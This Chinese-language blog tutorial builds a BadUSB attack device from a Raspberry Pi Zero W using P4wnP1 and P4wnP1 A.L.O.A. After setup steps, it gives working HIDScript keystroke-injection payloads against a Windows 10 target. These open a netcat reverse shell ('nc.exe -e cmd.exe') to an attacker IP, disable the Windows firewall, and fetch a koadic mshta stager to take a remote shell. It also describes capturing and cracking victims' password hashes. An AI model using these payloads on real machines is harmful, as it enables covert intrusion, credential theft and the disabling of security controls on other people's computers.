郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

前言

今天想用自己USB入侵设备的时候,发现WIFI密码给忘了

重装的时候发现自己没有写详细过程!呸!!最后只能删了重写写过。

image-20191229171357370

写在前头血的教训

  • 树莓派没有那么容易坏不用买第二个!!

  • 网上的wpa_supplicant.conf开启WIFI我试了N次都没成功过

  • USB转接头一定要买不需要焊接(别买Zero Quick Plug Bad USB

  • 树莓派Zero W自带WIFI所以别再买WIFI模块了

  • 装完P4wnP1切记重启不要直接拔掉会导致开不了机

    sudo shutdown -r now

成品图

硬件需求

  • 树莓派Zero W
  • USB接头
  • TF卡一张

image-20191229171357370

通过网线连接树莓派

  • 首先在config.txt最末行处换行添加如下代码,打开usb网卡模式

    dtoverlay=dwc2
  • 其次在cmdline.txt文件中找到rootwait字段,并在其后面空格添加如下信息,在打开系统时开启usb网卡模式。

    modules-load=dwc2,g_ether
  • 然后把TF卡插入树莓派连接电脑,在串口中会出现串口COM,并且会弹出RNDIS未连接,接着右键点击我的电脑->管理->设备管理器中找到在COM(端口通信)右击更新驱动后使用如下命令即可连接

    ssh pi@raspberrypi.local

    1576640437876

树莓派换源

这里有两个源需要换

  • 修改软件更新源,位置/etc/apt/sources.list

    #换为阿里云的源
    deb http://mirrors.aliyun.com/raspbian/raspbian/ jessie main non-free contrib rpi
  • 修改系统更新源,位置/etc/apt/sources.list.d/raspi.list

    #换位edu的源,不然安装P4wnP1的时候更新系统需要等个把小时
    deb http://mirrors.ustc.edu.cn/archive.raspberrypi.org/debian/ stretch main ui

设置wifi

  • 在命令行中输入

    sudo raspi-config
  • 然后选择Network Options

    1576658634228

  • 选择WI-FI

    1576658657250

  • 选择自己国家语言编码

    1576658563761

  • 最后输入ssidpasswd即可连接成功,注:ssid为你wifi的名字,passwd为你的wifi密码 1576640479699

更换pip

修改文件位置/etc/pip.conf

[global]
timeout = 6000
index-url = http://mirrors.aliyun.com/pypi/simple/
extra-index-url=https://www.piwheels.org/simple/
[install]
use-mirrors = true
mirrors = http://mirrors.aliyun.com/pypi/simple/
trusted-host = mirrors.aliyun.com

安装P4wnP1

  • Github下载项目

    #下载
    git clone https://github.com/mame82/P4wnP1.git
    cd P4wnP1
    #安装
    ./install.sh
  • 安装成功后连接WIFI名为P4wnP1

  • 初始密码是MaMe82-P4wnP1

  • 再用putty连接172.24.0.1 端口22

  • 打开配置文件:

    sudo vim P4wnP1/setup.cfg
  • 配置文件的各个功能的作用详情点我

  • 如果使用了Payload后你修改的WIFI还是没变可以去P4wnP1/payloads里面修改文件(因为优先加载payload里面的设置

  • 原始设置+原始Payload
    1571724375513

  • 修改过设置+修改过Payload
    1571724375513

  • 连接靶机

    输入FireStage1当出现client connect字样时说明连接成功

  • 破解密码

    • 设置完payloads后插上电脑,当受害者输入密码的时候,树莓派会自己利用 John the Ripper 模块进行破解

    • 密码文件在这个位置

      /P4wnP1/collected
    • 如果是强密码可以使用hashcat

    • 可以参考使用文档

  • shell命令

    #结束给定的远程进程
    KillProc
    #结束给定远程客户端
    KillClient
    #创建进程,打开计算器的命令为: CreateProc calc
    CreateProc
    #发送键盘脚本
    SendDuckyScript
    #发送鼠标脚本
    SendMouseScript
    #发送“ABC”键盘输入
    sendkeys ABC
    #下载文件到树莓派
    download
    #上传文件到主机
    upload
    #以靶机的身份访问控制台
    shell

详细命令可以参考官方文档

安装P4wnP1 A.L.O.A.

由于P4wnP1的可用性太低了,再加上作者已经放弃了那个项目,所以把原来的改成了P4wnP1 A.L.O.A.

本想网上找点资料参考下怎么使用的结果找了半天都没找到使用的文章,官方的文档又是英文的还没有安装教程(原谅我英语菜的抠脚),就只能自己慢慢摸索,刚开始是从Github下载项目到树莓派上然后使用./install来安装,结果疯狂报错,下载了Go语言依赖还是疯狂报错然后我就咕咕了4天(其实是自闭了4天)直到某天逛YouTube的时候看到了某个老哥的安装教程,才有了这部分文章

image-20191228184531505

其实不需要从Github上下载源码安装,作者已经为你打包好了镜像,只需要刷入TF卡就可以了

#下载img包
https://github.com/mame82/P4wnP1_aloa/releases/download/v0.1.0-alpha2/kali-linux-v0.1.0-alpha2-rpi0w-nexmon-p4wnp1-aloa.img.xz

接下来只需要连上电脑,打开WiFi就会出现这个界面

image-20191228192655446

接着连接该WiFi密码为MaMe82-P4wnP1 访问http://172.24.0.1:8000/就能进入web端了,推荐电脑连接网线然后用WiFi连接树莓派的WiFi这样既可以上网又可以访问web

image-20191228194055248

image-20191228194439877

通过172.24.0.122端口进行ssh连接,默认用户名root密码toor

image-20191228194643075

web使用体验

  • USB settings

    可以对供应商ID、制作者ID、生产商名称、序列号、产品名字进行自定义设置

    并且可以对键盘、鼠标、存储设备(模拟USB闪存驱动器或CD-ROM)、序列化接口、RBDISWindows上的USB以太网)、CDC ECM(针对UNIX Linux OSXUSB网络)进行选择

    image-20191228200031658

  • WiFi settings

    可以对WIFI名称和密码、信道、加密方式、是否隐藏SSID(这个一般必开)、所在国家、工作模式(AP或客户端)

    image-20191228200811638

    修改好点击store来把配置保存在树莓派中然后点击 DEPLOY STORED即可

    切记密码长度要大于8位不然会导致设置失败

    image-20191228203809367

  • Bluetooth Settings

    蓝牙模块感觉没有WiFi来的高效,这块就暂时不多逼逼了,我直接给它关了

    image-20191228203935828

  • Network Settings

    对网络和DHCP进行的一些设置

    image-20191228204400151

  • Trigger Action

触发机制,通过某项事件或者操作触发一项或者多项操作

image-20191228210645760

触发条件有:开始服务、树莓派连接到目标、树莓派从目标断开、WIFI连接成功、加入现有的WIFIDHCPGPIO输入、从SSH登入树莓派

触发后的操作:写入日志、运行bash脚本、启动HIDscript、加载和部署模板、在GPIO上设置输出还可以设置要加载的模板和模板类型

如果勾选了One shot的话那就只会执行一次

image-20191228205921497

  • Event Log

    事件日志

  • Generic Settings

    模板编辑,存放之前编辑的设置,每次开机会套用这里的模板

    image-20191228211749247

    如果你想开机加载的WiFi为你设置的WiFi,首先要在WiFi settings模块中上传你的WiFi模板,然后按下图设置后点REBOOT即可,如果你还想做其他开机启动操作都是类似的

    image-20191229130728384

  • HIDScrip

    这个是重点,可以执行高效的攻击命令和来的P4wnP1相比可做的事情多太多了,据官方文档所写的是基于JavaScript

    image-20191228211937386

    layout('us');			// 键盘布局
    typingSpeed(100,150) // 敲击按键的时候等待的间隔100毫秒加上0-150毫秒之间的随机值
    waitLEDRepeat(NUM); //类似于等待用户按下某个键然后在继续运行,但是在OSX上没用
    press("GUI r");//类似按下某个键位然后再抬起来,具体可以看官方文档,和上面的机制相识
    delay(500);//暂停时间
    type("notepad\n")//输入字符串,模拟键盘按键
    moveStepped(x,y); //鼠标移动,相当于模拟正常运动
    moveTo(x,y); //鼠标移动到设置的坐标点,x和y分别是横纵坐标,这个相当于跳刀

    下面给出一个demo

    //详细操作参考官方文档
    //https://github.com/mame82/P4wnP1_aloa
    layout('us');
    typingSpeed(500,9102);
    waitLEDRepeat(NUM);
    press("GUI R");
    type("ping www.ascotbe.com");
    delay(100);
    press("SHIFT A");

ssh

通过SSH连进去首先修改root密码

首先进去可以对源以及联网进行修改具体方法和上面最开始的换源设置WiFi方式类似

P4wnP1web端的储存文件的位置都在/P4wnP1/dist目录下

image-20191229134002524

ssh也可以做web的工作,官方根据官方给出的文档输入P4wnP1_cli -h可以查看帮助文档

root@kali:~# P4wnP1_cli -h
The CLI client tool could be used to configure P4wnP1 A.L.O.A.
from the command line. The tool relies on RPC so it could be used
remotely.

Version: v0.1.0-alpha2

Usage:
P4wnP1_cli [command]

Available Commands:
db Database backup and restore #数据库备份和还原
evt Receive P4wnP1 service events#接收P4wnP1服务事件
help Help about any command
hid Use keyboard or mouse functionality#  使用键盘或鼠标功能
led Set or Get LED state of P4wnP1#设置树莓派led灯闪烁频率
net Configure Network settings of ethernet interfaces (including USB ethernet if enabled)#配置以太网接口的网络设置(如果启用,则包括USB以太网)
system system commands#系统命令
template Deploy and list templates#部署并列出模板
trigger Fire a group send action or wait for a group receive trigger#触发模板之类的
usb USB gadget settings#USB小工具设置
wifi Configure WiFi (spawn Access Point or join WiFi networks)#配置WiFi(生成接入点或加入WiFi网络)

Flags:
-h, --help help for P4wnP1_cli
--host string The host with the listening P4wnP1 RPC server (default "localhost")
--port string The port on which the P4wnP1 RPC server is listening (default "50051")

Use "P4wnP1_cli [command] --help" for more information about a command.
root@kali:~# P4wnP1_cli led --help#查看led模块的详细命令
Set or Get LED state of P4wnP1

Usage:
P4wnP1_cli led [flags]

Flags:
-b, --blink uint32 Set blink count (0: Off, 1..254: blink n times, >254: On)#设置为0等于关闭闪烁大于254等于常亮
-h, --help help for led

Global Flags:
--host string The host with the listening P4wnP1 RPC server (default "localhost")
--port string The port on which the P4wnP1 RPC server is listening (default "50051")

试用体验

目标机器使用的window 10

image-20191229150615127

攻击机器使用的是Kali

image-20191229150731975

首先把制作好的USB插入电脑中,然后执行命令测试是否正常工作。注意:这边的键盘布局需要和目标机器上的键盘布局一样不然会输出不是你想输出的结果!!!!!

image-20191229152142342

layout('us');#目标机器上也要设置为美式键盘
typingSpeed(0,0);
press("GUI R");
delay(500);
type("powershell start powershell -A 'ping www.ascotbe.com'\n");
press("enter");

image-20191229150421597

  • dome1目标机器有nc文件

    • 攻击机器开启nc

      image-20191229152757930

    • 然后在web端执行如下demo

      layout('us');
      typingSpeed(0,0);
      press("GUI R");
      delay(500);
      type("powershell start powershell -A 'C:\\Users\\Administrator\\Desktop\\nc.exe -e cmd.exe -d 192.168.183.138 1024'\n");
      press("enter");

      image-20191229154238872

  • demo2利用koadic脚本实现反弹

    • 在攻击机器上搭个类似nc的服务,目标机器只需要访问mshta http://192.168.183.138:9999/h861m

      set LHOST 192.168.183.138
      set LPORT 9999

    image-20191229155130249

    • 树莓派web端运行

      layout('us');
      typingSpeed(0,0);
      press("GUI R");
      delay(500);
      type("powershell start powershell -A 'Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False'\n");#关闭windows防火墙
      delay(1000);
      press("GUI R");
      type("powershell start powershell -A 'mshta http://192.168.183.138:9999/h861m'\n");
      press("enter");
    • 有回显后执行zombies 0来查看目标机器的详细信息。注意:后面的0代表的是你控制目标机器的ID如果要查看本机直接输入zombies即可

      image-20191229163105655

    • 输入cmdshell 0来获取目标机器的shell

      image-20191229163540305

在手机上测试

  • 苹果:Termius
  • 安卓:JuiceSSH

参考文章

https://www.jianshu.com/p/4568f4f0a106
https://github.com/zerosum0x0/koadic
https://github.com/mame82/P4wnP1_aloa
https://blog.csdn.net/chentuo2000/article/details/81051308
https://www.youtube.com/watch?v=-QrfCNUxKgE
https://zhuanlan.zhihu.com/p/37359466

2019.12.20重构文章

2019.12.28文章添加中添加P4wnP1 A.L.O.A.